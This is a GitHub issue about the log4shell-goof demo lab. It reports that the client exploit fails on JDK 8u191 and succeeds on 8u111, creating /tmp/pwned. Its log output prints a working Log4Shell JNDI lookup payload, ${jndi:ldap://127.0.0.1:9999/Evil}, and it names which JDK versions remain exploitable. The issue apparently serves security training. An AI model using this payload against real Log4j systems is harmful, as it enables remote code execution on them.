Skip to content

[BUG]: JDK 8u191 looks like it's not supported in log4shell-goof. Had to use 8u111, which worked successfully. #519

Open
@patrickjburke245

Description

@patrickjburke245

Is there an existing issue for this?

  • I have searched the existing issues

Description of the bug

When using 8u191 in directory/project log4shell-goof, I received the following error when running mvn exec:java from client directory (not server):
[ERROR] Failed to execute goal org.codehaus.mojo:exec-maven-plugin:3.0.0:java (default-cli) on project log4shell-client: An exception occured while executing the Java class.
[ERROR] Unexpected state.
[ERROR] Make sure to remove /tmp/pwned between runs.
[ERROR] Make sure Server is running.
[ERROR] Make sure you JVM is <= 11.0.1 or 8u191 or 7u201 or 6u211

/tmp/pwned didn't exist, the server was running, and I was using JDK version 8u191. I then downgraded to 8u111. I received the success message:

21:35:34.125 [Main.main()] ERROR Main - test
/tmp/pwned DOES NOT EXIST
21:35:34.128 [Main.main()] ERROR Main - Output:${jndi:ldap://127.0.0.1:9999/Evil}
/tmp/pwned EXISTS - yah been pwned!

Steps To Reproduce

See above

Additional Information

No response

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions